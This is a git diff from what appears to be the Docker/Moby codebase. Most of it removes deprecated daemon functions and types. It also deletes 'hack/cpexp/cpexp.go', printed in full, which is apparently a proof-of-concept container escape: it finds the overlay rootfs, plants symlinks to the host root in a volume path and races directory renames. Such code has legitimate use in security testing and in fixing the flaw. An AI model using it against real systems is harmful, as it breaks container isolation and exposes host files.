diff --git a/daemon/container.go b/daemon/container.go index a0f512daac..dd7f82dae1 100644 --- a/daemon/container.go +++ b/daemon/container.go @@ -86,13 +86,6 @@ func (daemon *Daemon) load(id string) (*container.Container, error) { return ctr, nil } -// Register makes a container object usable by the daemon as -// -// Deprecated: this function is unused and will be removed in the next release. -func (daemon *Daemon) Register(c *container.Container) error { - return daemon.register(context.TODO(), c) -} - // register makes a container object usable by the daemon as [container.Container.ID]. func (daemon *Daemon) register(ctx context.Context, c *container.Container) error { // Attach to stdout and stderr diff --git a/daemon/internal/layer/layer.go b/daemon/internal/layer/layer.go index b044b24b16..0c7c32207f 100644 --- a/daemon/internal/layer/layer.go +++ b/daemon/internal/layer/layer.go @@ -18,7 +18,6 @@ import ( "github.com/docker/distribution" "github.com/moby/go-archive" "github.com/opencontainers/go-digest" - "github.com/opencontainers/image-spec/identity" ) var ( @@ -180,13 +179,6 @@ type DescribableStore interface { RegisterWithDescriptor(io.Reader, ChainID, distribution.Descriptor) (Layer, error) } -// CreateChainID returns ID for a layerDigest slice. -// -// Deprecated: use [identity.ChainID]. -func CreateChainID(dgsts []DiffID) ChainID { - return identity.ChainID(dgsts) -} - // ReleaseAndLog releases the provided layer from the given layer // store, logging any error and release metadata func ReleaseAndLog(ls Store, l Layer) { diff --git a/daemon/libnetwork/discoverapi/discoverapi.go b/daemon/libnetwork/discoverapi/discoverapi.go index 565a5c35af..f57cb43b2e 100644 --- a/daemon/libnetwork/discoverapi/discoverapi.go +++ b/daemon/libnetwork/discoverapi/discoverapi.go @@ -29,16 +29,6 @@ type NodeDiscoveryData struct { Self bool } -// DatastoreConfigData is the data for the datastore update event message -// -// Deprecated: no longer used. -type DatastoreConfigData struct { - Scope string - Provider string - Address string - Config any -} - // DriverEncryptionConfig contains the initial datapath encryption key(s) // Key in first position is the primary key, the one to be used in tx. // Original key and tag types are []byte and uint64 diff --git a/daemon/pkg/oci/oci.go b/daemon/pkg/oci/oci.go index 22f0be4950..75b209c9d7 100644 --- a/daemon/pkg/oci/oci.go +++ b/daemon/pkg/oci/oci.go @@ -17,21 +17,6 @@ import ( // early for "a" (all); https://github.com/torvalds/linux/blob/v5.10/security/device_cgroup.c#L614-L642 var deviceCgroupRuleRegex = lazyregexp.New("^([acb]) ([0-9]+|\\*):([0-9]+|\\*) ([rwm]{1,3})$") -// SetCapabilities sets the provided capabilities on the spec. -// -// Deprecated: this function is no longer used and will be removed in the next release. -func SetCapabilities(s *specs.Spec, caplist []string) error { - if s.Process == nil { - s.Process = &specs.Process{} - } - s.Process.Capabilities = &specs.LinuxCapabilities{ - Effective: caplist, - Bounding: caplist, - Permitted: caplist, - } - return nil -} - // AppendDevicePermissionsFromCgroupRules takes rules for the devices cgroup to append to the default set func AppendDevicePermissionsFromCgroupRules(devPermissions []specs.LinuxDeviceCgroup, rules []string) ([]specs.LinuxDeviceCgroup, error) { for _, deviceCgroupRule := range rules { diff --git a/hack/cpexp/cpexp.go b/hack/cpexp/cpexp.go deleted file mode 100644 index c58d062871..0000000000 --- a/hack/cpexp/cpexp.go +++ /dev/null @@ -1,127 +0,0 @@ -package main - -import ( - "log" - "os" - "path/filepath" - "strings" - - "github.com/moby/buildkit/identity" - "github.com/moby/sys/mountinfo" - "github.com/pkg/errors" -) - -const volumePath = "/abc/a" - -var rootfs string - -func main() { - if err := run(); err != nil { - log.Printf("error: %+v", err) - } -} - -func run() error { - infos, err := mountinfo.GetMounts(nil) - if err != nil { - return err - } - hasVolume := false - for _, info := range infos { - if info.Mountpoint == "/" { - v, err := getOverlayRootfs(info) - if err != nil { - return err - } - rootfs = v - } - - if info.Mountpoint == volumePath { - hasVolume = true - } - log.Printf("mount: %+v", info) - } - if !hasVolume { - return errors.Errorf("volume not found: %s", volumePath) - } - - log.Printf("rootfs: %s", rootfs) - - base := filepath.Base(rootfs) - if err := os.Symlink("/", filepath.Join(volumePath, base)); err != nil { - return err - } - - // create duplicate volume path with symlink target - p := "/" - var volumeRoot string - for _, c := range strings.Split(filepath.Dir(volumePath), string(filepath.Separator)) { - if c == "" { - continue - } - if volumeRoot == "" { - volumeRoot = "/" + c - c += "_target" - } - p = filepath.Join(p, c) - if err := os.Mkdir(p, 0755); err != nil { - if os.IsExist(err) { - continue - } - return err - } - log.Printf("created: %s", p) - } - if err := os.Symlink(filepath.Dir(rootfs), filepath.Join(p, filepath.Base(volumePath))); err != nil { - return err - } - - if err := os.Rename(volumeRoot, volumeRoot+"_old"); err != nil { - return err - } - - for { - if _, err := os.Stat(volumeRoot); err != nil { - if os.IsNotExist(err) { - continue - } - return err - } - // log.Printf("detected: %s", volumeRoot) - break - } - - for { - if err := os.Rename(volumeRoot+"_target", volumeRoot); err != nil { - if os.IsExist(err) { - if err := os.Rename(volumeRoot, volumeRoot+"_"+identity.NewID()); err != nil { - return err - } - continue - } - log.Printf("failed to rename: %s", err) - } - break - } - - return nil -} - -func getOverlayRootfs(info *mountinfo.Info) (string, error) { - if info.FSType != "overlay" { - return "", errors.Errorf("not overlay: %s", info.FSType) - } - for _, opt := range strings.Split(info.VFSOptions, ",") { - parts := strings.SplitN(opt, "=", 2) - if parts[0] == "workdir" { - return filepath.Join(filepath.Dir(parts[1]), "merged"), nil - } - } - return "", errors.Errorf("workdir not found: %s", info.VFSOptions) -} - -// /var/lib/docker/overlay2/86fcb18db0e3774cfe3b9ed6fa526d4dffcb45ac3b26cbe99db6c2d08e6dfc0e/merged - -// merged//dir1/dir2/ - -// volume